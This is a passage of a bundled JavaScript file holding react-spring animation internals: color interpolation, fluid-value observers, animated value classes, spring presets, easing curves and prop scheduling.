3784 if (int < 0) return 0;
3785 if (int > 100) return 1;
3786 return int / 100;
3787 }
3788 function colorToRgba(input) {
3789 let int32Color = normalizeColor(input);
3790 if (int32Color === null) return input;
3791 int32Color = int32Color || 0;
3792 let r3 = (int32Color & 4278190080) >>> 24;
3793 let g2 = (int32Color & 16711680) >>> 16;
3794 let b2 = (int32Color & 65280) >>> 8;
3795 let a2 = (int32Color & 255) / 255;
3796 return `rgba(${r3}, ${g2}, ${b2}, ${a2})`;
3797 }
3798 var createInterpolator = (range, output, extrapolate) => {
3799 if (is.fun(range)) {
3800 return range;
3801 }
3802 if (is.arr(range)) {
3803 return createInterpolator({
3804 range,
3805 output,
3806 extrapolate
3807 });
3808 }
3809 if (is.str(range.output[0])) {
3810 return createStringInterpolator$1(range);
3811 }
3812 const config2 = range;
3813 const outputRange = config2.output;
3814 const inputRange = config2.range || [0, 1];
3815 const extrapolateLeft = config2.extrapolateLeft || config2.extrapolate || "extend";
3816 const extrapolateRight = config2.extrapolateRight || config2.extrapolate || "extend";
3817 const easing = config2.easing || ((t3) => t3);
3818 return (input) => {
3819 const range2 = findRange(input, inputRange);
3820 return interpolate(input, inputRange[range2], inputRange[range2 + 1], outputRange[range2], outputRange[range2 + 1], easing, extrapolateLeft, extrapolateRight, config2.map);
3821 };
3822 };
3823 function interpolate(input, inputMin, inputMax, outputMin, outputMax, easing, extrapolateLeft, extrapolateRight, map) {
3824 let result = map ? map(input) : input;
3825 if (result < inputMin) {
3826 if (extrapolateLeft === "identity") return result;
3827 else if (extrapolateLeft === "clamp") result = inputMin;
3828 }
3829 if (result > inputMax) {
3830 if (extrapolateRight === "identity") return result;
3831 else if (extrapolateRight === "clamp") result = inputMax;
3832 }
3833 if (outputMin === outputMax) return outputMin;
3834 if (inputMin === inputMax) return input <= inputMin ? outputMin : outputMax;
3835 if (inputMin === -Infinity) result = -result;
3836 else if (inputMax === Infinity) result = result - inputMin;
3837 else result = (result - inputMin) / (inputMax - inputMin);
3838 result = easing(result);
3839 if (outputMin === -Infinity) result = -result;
3840 else if (outputMax === Infinity) result = result + outputMin;
3841 else result = result * (outputMax - outputMin) + outputMin;
3842 return result;
3843 }
3844 function findRange(input, inputRange) {
3845 for (var i2 = 1; i2 < inputRange.length - 1; ++i2) if (inputRange[i2] >= input) break;
3846 return i2 - 1;
3847 }
3848 function _extends() {
3849 _extends = Object.assign ? Object.assign.bind() : function(target) {
3850 for (var i2 = 1; i2 < arguments.length; i2++) {
3851 var source = arguments[i2];
3852 for (var key in source) {
3853 if (Object.prototype.hasOwnProperty.call(source, key)) {
3854 target[key] = source[key];
3855 }
3856 }
3857 }
3858 return target;
3859 };
3860 return _extends.apply(this, arguments);
3861 }
3862 var $get = /* @__PURE__ */ Symbol.for("FluidValue.get");
3863 var $observers = /* @__PURE__ */ Symbol.for("FluidValue.observers");
3864 var hasFluidValue = (arg) => Boolean(arg && arg[$get]);
3865 var getFluidValue = (arg) => arg && arg[$get] ? arg[$get]() : arg;
3866 var getFluidObservers = (target) => target[$observers] || null;
3867 function callFluidObserver(observer, event) {
3868 if (observer.eventObserved) {
3869 observer.eventObserved(event);
3870 } else {
3871 observer(event);
3872 }
3873 }
3874 function callFluidObservers(target, event) {
3875 let observers = target[$observers];
3876 if (observers) {
3877 observers.forEach((observer) => {
3878 callFluidObserver(observer, event);
3879 });
3880 }
3881 }
3882 var FluidValue = class {
3883 constructor(get) {
3884 this[$get] = void 0;
3885 this[$observers] = void 0;
3886 if (!get && !(get = this.get)) {
3887 throw Error("Unknown getter");
3888 }
3889 setFluidGetter(this, get);
3890 }
3891 };
3892 var setFluidGetter = (target, get) => setHidden(target, $get, get);
3893 function addFluidObserver(target, observer) {
3894 if (target[$get]) {
3895 let observers = target[$observers];
3896 if (!observers) {
3897 setHidden(target, $observers, observers = /* @__PURE__ */ new Set());
3898 }
3899 if (!observers.has(observer)) {
3900 observers.add(observer);
3901 if (target.observerAdded) {
3902 target.observerAdded(observers.size, observer);
3903 }
3904 }
3905 }
3906 return observer;
3907 }
3908 function removeFluidObserver(target, observer) {
3909 let observers = target[$observers];
3910 if (observers && observers.has(observer)) {
3911 const count = observers.size - 1;
3912 if (count) {
3913 observers.delete(observer);
3914 } else {
3915 target[$observers] = null;
3916 }
3917 if (target.observerRemoved) {
3918 target.observerRemoved(count, observer);
3919 }
3920 }
3921 }
3922 var setHidden = (target, key, value) => Object.defineProperty(target, key, {
3923 value,
3924 writable: true,
3925 configurable: true
3926 });
3927 var numberRegex = /[+\-]?(?:0|[1-9]\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?/g;
3928 var colorRegex = /(#(?:[0-9a-f]{2}){2,4}|(#[0-9a-f]{3})|(rgb|hsl)a?\((-?\d+%?[,\s]+){2,3}\s*[\d\.]+%?\))/gi;
3929 var unitRegex = new RegExp(`(${numberRegex.source})(%|[a-z]+)`, "i");
3930 var rgbaRegex = /rgba\(([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+)\)/gi;
3931 var cssVariableRegex = /var\((--[a-zA-Z0-9-_]+),? ?([a-zA-Z0-9 ()%#.,-]+)?\)/;
3932 var variableToRgba = (input) => {
3933 const [token, fallback] = parseCSSVariable(input);
3934 if (!token || isSSR()) {
3935 return input;
3936 }
3937 const value = window.getComputedStyle(document.documentElement).getPropertyValue(token);
3938 if (value) {
3939 return value.trim();
3940 } else if (fallback && fallback.startsWith("--")) {
3941 const _value = window.getComputedStyle(document.documentElement).getPropertyValue(fallback);
3942 if (_value) {
3943 return _value;
3944 } else {
3945 return input;
3946 }
3947 } else if (fallback && cssVariableRegex.test(fallback)) {
3948 return variableToRgba(fallback);
3949 } else if (fallback) {
3950 return fallback;
3951 }
3952 return input;
3953 };
3954 var parseCSSVariable = (current) => {
3955 const match3 = cssVariableRegex.exec(current);
3956 if (!match3) return [,];
3957 const [, token, fallback] = match3;
3958 return [token, fallback];
3959 };
3960 var namedColorRegex;
3961 var rgbaRound = (_, p1, p22, p3, p4) => `rgba(${Math.round(p1)}, ${Math.round(p22)}, ${Math.round(p3)}, ${p4})`;
3962 var createStringInterpolator = (config2) => {
3963 if (!namedColorRegex) namedColorRegex = colors$1 ? new RegExp(`(${Object.keys(colors$1).join("|")})(?!\\w)`, "g") : /^\b$/;
3964 const output = config2.output.map((value) => {
3965 return getFluidValue(value).replace(cssVariableRegex, variableToRgba).replace(colorRegex, colorToRgba).replace(namedColorRegex, colorToRgba);
3966 });
3967 const keyframes = output.map((value) => value.match(numberRegex).map(Number));
3968 const outputRanges = keyframes[0].map((_, i2) => keyframes.map((values) => {
3969 if (!(i2 in values)) {
3970 throw Error('The arity of each "output" value must be equal');
3971 }
3972 return values[i2];
3973 }));
3974 const interpolators = outputRanges.map((output2) => createInterpolator(_extends({}, config2, {
3975 output: output2
3976 })));
3977 return (input) => {
3978 var _output$find;
3979 const missingUnit = !unitRegex.test(output[0]) && ((_output$find = output.find((value) => unitRegex.test(value))) == null ? void 0 : _output$find.replace(numberRegex, ""));
3980 let i2 = 0;
3981 return output[0].replace(numberRegex, () => `${interpolators[i2++](input)}${missingUnit || ""}`).replace(rgbaRegex, rgbaRound);
3982 };
3983 };
3984 var prefix = "react-spring: ";
3985 var once = (fn) => {
3986 const func = fn;
3987 let called = false;
3988 if (typeof func != "function") {
3989 throw new TypeError(`${prefix}once requires a function parameter`);
3990 }
3991 return (...args) => {
3992 if (!called) {
3993 func(...args);
3994 called = true;
3995 }
3996 };
3997 };
3998 var warnInterpolate = once(console.warn);
3999 function deprecateInterpolate() {
4000 warnInterpolate(`${prefix}The "interpolate" function is deprecated in v9 (use "to" instead)`);
4001 }
4002 var warnDirectCall = once(console.warn);
4003 function isAnimatedString(value) {
4004 return is.str(value) && (value[0] == "#" || /\d/.test(value) || !isSSR() && cssVariableRegex.test(value) || value in (colors$1 || {}));
4005 }
4006 var useIsomorphicLayoutEffect = isSSR() ? import_react4.useEffect : import_react4.useLayoutEffect;
4007 var useIsMounted = () => {
4008 const isMounted = (0, import_react4.useRef)(false);
4009 useIsomorphicLayoutEffect(() => {
4010 isMounted.current = true;
4011 return () => {
4012 isMounted.current = false;
4013 };
4014 }, []);
4015 return isMounted;
4016 };
4017 function useForceUpdate() {
4018 const update4 = (0, import_react4.useState)()[1];
4019 const isMounted = useIsMounted();
4020 return () => {
4021 if (isMounted.current) {
4022 update4(Math.random());
4023 }
4024 };
4025 }
4026 function useMemoOne(getResult, inputs) {
4027 const [initial] = (0, import_react4.useState)(() => ({
4028 inputs,
4029 result: getResult()
4030 }));
4031 const committed = (0, import_react4.useRef)();
4032 const prevCache = committed.current;
4033 let cache = prevCache;
4034 if (cache) {
4035 const useCache = Boolean(inputs && cache.inputs && areInputsEqual(inputs, cache.inputs));
4036 if (!useCache) {
4037 cache = {
4038 inputs,
4039 result: getResult()
4040 };
4041 }
4042 } else {
4043 cache = initial;
4044 }
4045 (0, import_react4.useEffect)(() => {
4046 committed.current = cache;
4047 if (prevCache == initial) {
4048 initial.inputs = initial.result = void 0;
4049 }
4050 }, [cache]);
4051 return cache.result;
4052 }
4053 function areInputsEqual(next, prev) {
4054 if (next.length !== prev.length) {
4055 return false;
4056 }
4057 for (let i2 = 0; i2 < next.length; i2++) {
4058 if (next[i2] !== prev[i2]) {
4059 return false;
4060 }
4061 }
4062 return true;
4063 }
4064 var useOnce = (effect) => (0, import_react4.useEffect)(effect, emptyDeps);
4065 var emptyDeps = [];
4066
4067 // node_modules/@react-spring/core/dist/react-spring-core.esm.js
4068 var React6 = __toESM(require_react());
4069 var import_react6 = __toESM(require_react());
4070
4071 // node_modules/@react-spring/animated/dist/react-spring-animated.esm.js
4072 var React5 = __toESM(require_react());
4073 var import_react5 = __toESM(require_react());
4074 var $node = /* @__PURE__ */ Symbol.for("Animated:node");
4075 var isAnimated = (value) => !!value && value[$node] === value;
4076 var getAnimated = (owner) => owner && owner[$node];
4077 var setAnimated = (owner, node) => defineHidden(owner, $node, node);
4078 var getPayload = (owner) => owner && owner[$node] && owner[$node].getPayload();
4079 var Animated = class {
4080 constructor() {
4081 this.payload = void 0;
4082 setAnimated(this, this);
4083 }
4084 getPayload() {
4085 return this.payload || [];
4086 }
4087 };
4088 var AnimatedValue = class _AnimatedValue extends Animated {
4089 constructor(_value) {
4090 super();
4091 this.done = true;
4092 this.elapsedTime = void 0;
4093 this.lastPosition = void 0;
4094 this.lastVelocity = void 0;
4095 this.v0 = void 0;
4096 this.durationProgress = 0;
4097 this._value = _value;
4098 if (is.num(this._value)) {
4099 this.lastPosition = this._value;
4100 }
4101 }
4102 static create(value) {
4103 return new _AnimatedValue(value);
4104 }
4105 getPayload() {
4106 return [this];
4107 }
4108 getValue() {
4109 return this._value;
4110 }
4111 setValue(value, step) {
4112 if (is.num(value)) {
4113 this.lastPosition = value;
4114 if (step) {
4115 value = Math.round(value / step) * step;
4116 if (this.done) {
4117 this.lastPosition = value;
4118 }
4119 }
4120 }
4121 if (this._value === value) {
4122 return false;
4123 }
4124 this._value = value;
4125 return true;
4126 }
4127 reset() {
4128 const {
4129 done
4130 } = this;
4131 this.done = false;
4132 if (is.num(this._value)) {
4133 this.elapsedTime = 0;
4134 this.durationProgress = 0;
4135 this.lastPosition = this._value;
4136 if (done) this.lastVelocity = null;
4137 this.v0 = null;
4138 }
4139 }
4140 };
4141 var AnimatedString = class _AnimatedString extends AnimatedValue {
4142 constructor(value) {
4143 super(0);
4144 this._string = null;
4145 this._toString = void 0;
4146 this._toString = createInterpolator({
4147 output: [value, value]
4148 });
4149 }
4150 static create(value) {
4151 return new _AnimatedString(value);
4152 }
4153 getValue() {
4154 let value = this._string;
4155 return value == null ? this._string = this._toString(this._value) : value;
4156 }
4157 setValue(value) {
4158 if (is.str(value)) {
4159 if (value == this._string) {
4160 return false;
4161 }
4162 this._string = value;
4163 this._value = 1;
4164 } else if (super.setValue(value)) {
4165 this._string = null;
4166 } else {
4167 return false;
4168 }
4169 return true;
4170 }
4171 reset(goal) {
4172 if (goal) {
4173 this._toString = createInterpolator({
4174 output: [this.getValue(), goal]
4175 });
4176 }
4177 this._value = 0;
4178 super.reset();
4179 }
4180 };
4181 var TreeContext = {
4182 dependencies: null
4183 };
4184 var AnimatedObject = class extends Animated {
4185 constructor(source) {
4186 super();
4187 this.source = source;
4188 this.setValue(source);
4189 }
4190 getValue(animated2) {
4191 const values = {};
4192 eachProp(this.source, (source, key) => {
4193 if (isAnimated(source)) {
4194 values[key] = source.getValue(animated2);
4195 } else if (hasFluidValue(source)) {
4196 values[key] = getFluidValue(source);
4197 } else if (!animated2) {
4198 values[key] = source;
4199 }
4200 });
4201 return values;
4202 }
4203 setValue(source) {
4204 this.source = source;
4205 this.payload = this._makePayload(source);
4206 }
4207 reset() {
4208 if (this.payload) {
4209 each(this.payload, (node) => node.reset());
4210 }
4211 }
4212 _makePayload(source) {
4213 if (source) {
4214 const payload = /* @__PURE__ */ new Set();
4215 eachProp(source, this._addToPayload, payload);
4216 return Array.from(payload);
4217 }
4218 }
4219 _addToPayload(source) {
4220 if (TreeContext.dependencies && hasFluidValue(source)) {
4221 TreeContext.dependencies.add(source);
4222 }
4223 const payload = getPayload(source);
4224 if (payload) {
4225 each(payload, (node) => this.add(node));
4226 }
4227 }
4228 };
4229 var AnimatedArray = class _AnimatedArray extends AnimatedObject {
4230 constructor(source) {
4231 super(source);
4232 }
4233 static create(source) {
4234 return new _AnimatedArray(source);
4235 }
4236 getValue() {
4237 return this.source.map((node) => node.getValue());
4238 }
4239 setValue(source) {
4240 const payload = this.getPayload();
4241 if (source.length == payload.length) {
4242 return payload.map((node, i2) => node.setValue(source[i2])).some(Boolean);
4243 }
4244 super.setValue(source.map(makeAnimated));
4245 return true;
4246 }
4247 };
4248 function makeAnimated(value) {
4249 const nodeType = isAnimatedString(value) ? AnimatedString : AnimatedValue;
4250 return nodeType.create(value);
4251 }
4252 function getAnimatedType(value) {
4253 const parentNode = getAnimated(value);
4254 return parentNode ? parentNode.constructor : is.arr(value) ? AnimatedArray : isAnimatedString(value) ? AnimatedString : AnimatedValue;
4255 }
4256 function _extends2() {
4257 _extends2 = Object.assign ? Object.assign.bind() : function(target) {
4258 for (var i2 = 1; i2 < arguments.length; i2++) {
4259 var source = arguments[i2];
4260 for (var key in source) {
4261 if (Object.prototype.hasOwnProperty.call(source, key)) {
4262 target[key] = source[key];
4263 }
4264 }
4265 }
4266 return target;
4267 };
4268 return _extends2.apply(this, arguments);
4269 }
4270 var withAnimated = (Component, host2) => {
4271 const hasInstance = !is.fun(Component) || Component.prototype && Component.prototype.isReactComponent;
4272 return (0, import_react5.forwardRef)((givenProps, givenRef) => {
4273 const instanceRef = (0, import_react5.useRef)(null);
4274 const ref = hasInstance && (0, import_react5.useCallback)((value) => {
4275 instanceRef.current = updateRef(givenRef, value);
4276 }, [givenRef]);
4277 const [props, deps] = getAnimatedState(givenProps, host2);
4278 const forceUpdate = useForceUpdate();
4279 const callback = () => {
4280 const instance = instanceRef.current;
4281 if (hasInstance && !instance) {
4282 return;
4283 }
4284 const didUpdate = instance ? host2.applyAnimatedValues(instance, props.getValue(true)) : false;
4285 if (didUpdate === false) {
4286 forceUpdate();
4287 }
4288 };
4289 const observer = new PropsObserver(callback, deps);
4290 const observerRef = (0, import_react5.useRef)();
4291 useIsomorphicLayoutEffect(() => {
4292 observerRef.current = observer;
4293 each(deps, (dep) => addFluidObserver(dep, observer));
4294 return () => {
4295 if (observerRef.current) {
4296 each(observerRef.current.deps, (dep) => removeFluidObserver(dep, observerRef.current));
4297 raf.cancel(observerRef.current.update);
4298 }
4299 };
4300 });
4301 (0, import_react5.useEffect)(callback, []);
4302 useOnce(() => () => {
4303 const observer2 = observerRef.current;
4304 each(observer2.deps, (dep) => removeFluidObserver(dep, observer2));
4305 });
4306 const usedProps = host2.getComponentProps(props.getValue());
4307 return React5.createElement(Component, _extends2({}, usedProps, {
4308 ref
4309 }));
4310 });
4311 };
4312 var PropsObserver = class {
4313 constructor(update4, deps) {
4314 this.update = update4;
4315 this.deps = deps;
4316 }
4317 eventObserved(event) {
4318 if (event.type == "change") {
4319 raf.write(this.update);
4320 }
4321 }
4322 };
4323 function getAnimatedState(props, host2) {
4324 const dependencies = /* @__PURE__ */ new Set();
4325 TreeContext.dependencies = dependencies;
4326 if (props.style) props = _extends2({}, props, {
4327 style: host2.createAnimatedStyle(props.style)
4328 });
4329 props = new AnimatedObject(props);
4330 TreeContext.dependencies = null;
4331 return [props, dependencies];
4332 }
4333 function updateRef(ref, value) {
4334 if (ref) {
4335 if (is.fun(ref)) ref(value);
4336 else ref.current = value;
4337 }
4338 return value;
4339 }
4340 var cacheKey = /* @__PURE__ */ Symbol.for("AnimatedComponent");
4341 var createHost = (components, {
4342 applyAnimatedValues: _applyAnimatedValues = () => false,
4343 createAnimatedStyle: _createAnimatedStyle = (style) => new AnimatedObject(style),
4344 getComponentProps: _getComponentProps = (props) => props
4345 } = {}) => {
4346 const hostConfig = {
4347 applyAnimatedValues: _applyAnimatedValues,
4348 createAnimatedStyle: _createAnimatedStyle,
4349 getComponentProps: _getComponentProps
4350 };
4351 const animated2 = (Component) => {
4352 const displayName = getDisplayName(Component) || "Anonymous";
4353 if (is.str(Component)) {
4354 Component = animated2[Component] || (animated2[Component] = withAnimated(Component, hostConfig));
4355 } else {
4356 Component = Component[cacheKey] || (Component[cacheKey] = withAnimated(Component, hostConfig));
4357 }
4358 Component.displayName = `Animated(${displayName})`;
4359 return Component;
4360 };
4361 eachProp(components, (Component, key) => {
4362 if (is.arr(components)) {
4363 key = getDisplayName(Component);
4364 }
4365 animated2[key] = animated2(Component);
4366 });
4367 return {
4368 animated: animated2
4369 };
4370 };
4371 var getDisplayName = (arg) => is.str(arg) ? arg : arg && is.str(arg.displayName) ? arg.displayName : is.fun(arg) && arg.name || null;
4372
4373 // node_modules/@react-spring/core/dist/react-spring-core.esm.js
4374 function _extends3() {
4375 _extends3 = Object.assign ? Object.assign.bind() : function(target) {
4376 for (var i2 = 1; i2 < arguments.length; i2++) {
4377 var source = arguments[i2];
4378 for (var key in source) {
4379 if (Object.prototype.hasOwnProperty.call(source, key)) {
4380 target[key] = source[key];
4381 }
4382 }
4383 }
4384 return target;
4385 };
4386 return _extends3.apply(this, arguments);
4387 }
4388 function callProp(value, ...args) {
4389 return is.fun(value) ? value(...args) : value;
4390 }
4391 var matchProp = (value, key) => value === true || !!(key && value && (is.fun(value) ? value(key) : toArray(value).includes(key)));
4392 var resolveProp = (prop, key) => is.obj(prop) ? key && prop[key] : prop;
4393 var getDefaultProp = (props, key) => props.default === true ? props[key] : props.default ? props.default[key] : void 0;
4394 var noopTransform = (value) => value;
4395 var getDefaultProps = (props, transform = noopTransform) => {
4396 let keys = DEFAULT_PROPS;
4397 if (props.default && props.default !== true) {
4398 props = props.default;
4399 keys = Object.keys(props);
4400 }
4401 const defaults2 = {};
4402 for (const key of keys) {
4403 const value = transform(props[key], key);
4404 if (!is.und(value)) {
4405 defaults2[key] = value;
4406 }
4407 }
4408 return defaults2;
4409 };
4410 var DEFAULT_PROPS = ["config", "onProps", "onStart", "onChange", "onPause", "onResume", "onRest"];
4411 var RESERVED_PROPS = {
4412 config: 1,
4413 from: 1,
4414 to: 1,
4415 ref: 1,
4416 loop: 1,
4417 reset: 1,
4418 pause: 1,
4419 cancel: 1,
4420 reverse: 1,
4421 immediate: 1,
4422 default: 1,
4423 delay: 1,
4424 onProps: 1,
4425 onStart: 1,
4426 onChange: 1,
4427 onPause: 1,
4428 onResume: 1,
4429 onRest: 1,
4430 onResolve: 1,
4431 items: 1,
4432 trail: 1,
4433 sort: 1,
4434 expires: 1,
4435 initial: 1,
4436 enter: 1,
4437 update: 1,
4438 leave: 1,
4439 children: 1,
4440 onDestroyed: 1,
4441 keys: 1,
4442 callId: 1,
4443 parentId: 1
4444 };
4445 function getForwardProps(props) {
4446 const forward = {};
4447 let count = 0;
4448 eachProp(props, (value, prop) => {
4449 if (!RESERVED_PROPS[prop]) {
4450 forward[prop] = value;
4451 count++;
4452 }
4453 });
4454 if (count) {
4455 return forward;
4456 }
4457 }
4458 function inferTo(props) {
4459 const to2 = getForwardProps(props);
4460 if (to2) {
4461 const out = {
4462 to: to2
4463 };
4464 eachProp(props, (val, key) => key in to2 || (out[key] = val));
4465 return out;
4466 }
4467 return _extends3({}, props);
4468 }
4469 function computeGoal(value) {
4470 value = getFluidValue(value);
4471 return is.arr(value) ? value.map(computeGoal) : isAnimatedString(value) ? globals.createStringInterpolator({
4472 range: [0, 1],
4473 output: [value, value]
4474 })(1) : value;
4475 }
4476 function isAsyncTo(to2) {
4477 return is.fun(to2) || is.arr(to2) && is.obj(to2[0]);
4478 }
4479 var config = {
4480 default: {
4481 tension: 170,
4482 friction: 26
4483 },
4484 gentle: {
4485 tension: 120,
4486 friction: 14
4487 },
4488 wobbly: {
4489 tension: 180,
4490 friction: 12
4491 },
4492 stiff: {
4493 tension: 210,
4494 friction: 20
4495 },
4496 slow: {
4497 tension: 280,
4498 friction: 60
4499 },
4500 molasses: {
4501 tension: 280,
4502 friction: 120
4503 }
4504 };
4505 var c1 = 1.70158;
4506 var c2 = c1 * 1.525;
4507 var c3 = c1 + 1;
4508 var c4 = 2 * Math.PI / 3;
4509 var c5 = 2 * Math.PI / 4.5;
4510 var bounceOut = (x2) => {
4511 const n1 = 7.5625;
4512 const d1 = 2.75;
4513 if (x2 < 1 / d1) {
4514 return n1 * x2 * x2;
4515 } else if (x2 < 2 / d1) {
4516 return n1 * (x2 -= 1.5 / d1) * x2 + 0.75;
4517 } else if (x2 < 2.5 / d1) {
4518 return n1 * (x2 -= 2.25 / d1) * x2 + 0.9375;
4519 } else {
4520 return n1 * (x2 -= 2.625 / d1) * x2 + 0.984375;
4521 }
4522 };
4523 var easings = {
4524 linear: (x2) => x2,
4525 easeInQuad: (x2) => x2 * x2,
4526 easeOutQuad: (x2) => 1 - (1 - x2) * (1 - x2),
4527 easeInOutQuad: (x2) => x2 < 0.5 ? 2 * x2 * x2 : 1 - Math.pow(-2 * x2 + 2, 2) / 2,
4528 easeInCubic: (x2) => x2 * x2 * x2,
4529 easeOutCubic: (x2) => 1 - Math.pow(1 - x2, 3),
4530 easeInOutCubic: (x2) => x2 < 0.5 ? 4 * x2 * x2 * x2 : 1 - Math.pow(-2 * x2 + 2, 3) / 2,
4531 easeInQuart: (x2) => x2 * x2 * x2 * x2,
4532 easeOutQuart: (x2) => 1 - Math.pow(1 - x2, 4),
4533 easeInOutQuart: (x2) => x2 < 0.5 ? 8 * x2 * x2 * x2 * x2 : 1 - Math.pow(-2 * x2 + 2, 4) / 2,
4534 easeInQuint: (x2) => x2 * x2 * x2 * x2 * x2,
4535 easeOutQuint: (x2) => 1 - Math.pow(1 - x2, 5),
4536 easeInOutQuint: (x2) => x2 < 0.5 ? 16 * x2 * x2 * x2 * x2 * x2 : 1 - Math.pow(-2 * x2 + 2, 5) / 2,
4537 easeInSine: (x2) => 1 - Math.cos(x2 * Math.PI / 2),
4538 easeOutSine: (x2) => Math.sin(x2 * Math.PI / 2),
4539 easeInOutSine: (x2) => -(Math.cos(Math.PI * x2) - 1) / 2,
4540 easeInExpo: (x2) => x2 === 0 ? 0 : Math.pow(2, 10 * x2 - 10),
4541 easeOutExpo: (x2) => x2 === 1 ? 1 : 1 - Math.pow(2, -10 * x2),
4542 easeInOutExpo: (x2) => x2 === 0 ? 0 : x2 === 1 ? 1 : x2 < 0.5 ? Math.pow(2, 20 * x2 - 10) / 2 : (2 - Math.pow(2, -20 * x2 + 10)) / 2,
4543 easeInCirc: (x2) => 1 - Math.sqrt(1 - Math.pow(x2, 2)),
4544 easeOutCirc: (x2) => Math.sqrt(1 - Math.pow(x2 - 1, 2)),
4545 easeInOutCirc: (x2) => x2 < 0.5 ? (1 - Math.sqrt(1 - Math.pow(2 * x2, 2))) / 2 : (Math.sqrt(1 - Math.pow(-2 * x2 + 2, 2)) + 1) / 2,
4546 easeInBack: (x2) => c3 * x2 * x2 * x2 - c1 * x2 * x2,
4547 easeOutBack: (x2) => 1 + c3 * Math.pow(x2 - 1, 3) + c1 * Math.pow(x2 - 1, 2),
4548 easeInOutBack: (x2) => x2 < 0.5 ? Math.pow(2 * x2, 2) * ((c2 + 1) * 2 * x2 - c2) / 2 : (Math.pow(2 * x2 - 2, 2) * ((c2 + 1) * (x2 * 2 - 2) + c2) + 2) / 2,
4549 easeInElastic: (x2) => x2 === 0 ? 0 : x2 === 1 ? 1 : -Math.pow(2, 10 * x2 - 10) * Math.sin((x2 * 10 - 10.75) * c4),
4550 easeOutElastic: (x2) => x2 === 0 ? 0 : x2 === 1 ? 1 : Math.pow(2, -10 * x2) * Math.sin((x2 * 10 - 0.75) * c4) + 1,
4551 easeInOutElastic: (x2) => x2 === 0 ? 0 : x2 === 1 ? 1 : x2 < 0.5 ? -(Math.pow(2, 20 * x2 - 10) * Math.sin((20 * x2 - 11.125) * c5)) / 2 : Math.pow(2, -20 * x2 + 10) * Math.sin((20 * x2 - 11.125) * c5) / 2 + 1,
4552 easeInBounce: (x2) => 1 - bounceOut(1 - x2),
4553 easeOutBounce: bounceOut,
4554 easeInOutBounce: (x2) => x2 < 0.5 ? (1 - bounceOut(1 - 2 * x2)) / 2 : (1 + bounceOut(2 * x2 - 1)) / 2
4555 };
4556 var defaults = _extends3({}, config.default, {
4557 mass: 1,
4558 damping: 1,
4559 easing: easings.linear,
4560 clamp: false
4561 });
4562 var AnimationConfig = class {
4563 constructor() {
4564 this.tension = void 0;
4565 this.friction = void 0;
4566 this.frequency = void 0;
4567 this.damping = void 0;
4568 this.mass = void 0;
4569 this.velocity = 0;
4570 this.restVelocity = void 0;
4571 this.precision = void 0;
4572 this.progress = void 0;
4573 this.duration = void 0;
4574 this.easing = void 0;
4575 this.clamp = void 0;
4576 this.bounce = void 0;
4577 this.decay = void 0;
4578 this.round = void 0;
4579 Object.assign(this, defaults);
4580 }
4581 };
4582 function mergeConfig(config2, newConfig, defaultConfig) {
4583 if (defaultConfig) {
4584 defaultConfig = _extends3({}, defaultConfig);
4585 sanitizeConfig(defaultConfig, newConfig);
4586 newConfig = _extends3({}, defaultConfig, newConfig);
4587 }
4588 sanitizeConfig(config2, newConfig);
4589 Object.assign(config2, newConfig);
4590 for (const key in defaults) {
4591 if (config2[key] == null) {
4592 config2[key] = defaults[key];
4593 }
4594 }
4595 let {
4596 mass,
4597 frequency,
4598 damping
4599 } = config2;
4600 if (!is.und(frequency)) {
4601 if (frequency < 0.01) frequency = 0.01;
4602 if (damping < 0) damping = 0;
4603 config2.tension = Math.pow(2 * Math.PI / frequency, 2) * mass;
4604 config2.friction = 4 * Math.PI * damping * mass / frequency;
4605 }
4606 return config2;
4607 }
4608 function sanitizeConfig(config2, props) {
4609 if (!is.und(props.decay)) {
4610 config2.duration = void 0;
4611 } else {
4612 const isTensionConfig = !is.und(props.tension) || !is.und(props.friction);
4613 if (isTensionConfig || !is.und(props.frequency) || !is.und(props.damping) || !is.und(props.mass)) {
4614 config2.duration = void 0;
4615 config2.decay = void 0;
4616 }
4617 if (isTensionConfig) {
4618 config2.frequency = void 0;
4619 }
4620 }
4621 }
4622 var emptyArray = [];
4623 var Animation = class {
4624 constructor() {
4625 this.changed = false;
4626 this.values = emptyArray;
4627 this.toValues = null;
4628 this.fromValues = emptyArray;
4629 this.to = void 0;
4630 this.from = void 0;
4631 this.config = new AnimationConfig();
4632 this.immediate = false;
4633 }
4634 };
4635 function scheduleProps(callId, {
4636 key,
4637 props,
4638 defaultProps,
4639 state,
4640 actions
4641 }) {
4642 return new Promise((resolve, reject) => {
4643 var _props$cancel;
4644 let delay;
4645 let timeout;
4646 let cancel = matchProp((_props$cancel = props.cancel) != null ? _props$cancel : defaultProps == null ? void 0 : defaultProps.cancel, key);
4647 if (cancel) {
4648 onStart();
4649 } else {
4650 if (!is.und(props.pause)) {
4651 state.paused = matchProp(props.pause, key);
4652 }
4653 let pause = defaultProps == null ? void 0 : defaultProps.pause;
4654 if (pause !== true) {
4655 pause = state.paused || matchProp(pause, key);
4656 }
4657 delay = callProp(props.delay || 0, key);
4658 if (pause) {
4659 state.resumeQueue.add(onResume);
4660 actions.pause();
4661 } else {
4662 actions.resume();
4663 onResume();
4664 }
4665 }
4666 function onPause() {
4667 state.resumeQueue.add(onResume);
4668 state.timeouts.delete(timeout);
4669 timeout.cancel();
4670 delay = timeout.time - raf.now();
4671 }
4672 function onResume() {
4673 if (delay > 0 && !globals.skipAnimation) {
4674 state.delayed = true;
4675 timeout = raf.setTimeout(onStart, delay);
4676 state.pauseQueue.add(onPause);
4677 state.timeouts.add(timeout);
4678 } else {
4679 onStart();
4680 }
4681 }
4682 function onStart() {
4683 if (state.delayed) {
4684 state.delayed = false;
4685 }
4686 state.pauseQueue.delete(onPause);
4687 state.timeouts.delete(timeout);
4688 if (callId <= (state.cancelId || 0)) {
4689 cancel = true;
4690 }
4691 try {
4692 actions.start(_extends3({}, props, {
4693 callId,
4694 cancel
4695 }), resolve);
4696 } catch (err) {
4697 reject(err);
4698 }
4699 }
4700 });
4701 }
4702 var getCombinedResult = (target, results) => results.length == 1 ? results[0] : results.some((result) => result.cancelled) ? getCancelledResult(target.get()) : results.every((result) => result.noop) ? getNoopResult(target.get()) : getFinishedResult(target.get(), results.every((result) => result.finished));
4703 var getNoopResult = (value) => ({
4704 value,
4705 noop: true,
4706 finished: true,
4707 cancelled: false
4708 });
4709 var getFinishedResult = (value, finished, cancelled = false) => ({
4710 value,
4711 finished,
4712 cancelled
4713 });
4714 var getCancelledResult = (value) => ({
4715 value,
4716 cancelled: true,
4717 finished: false
4718 });
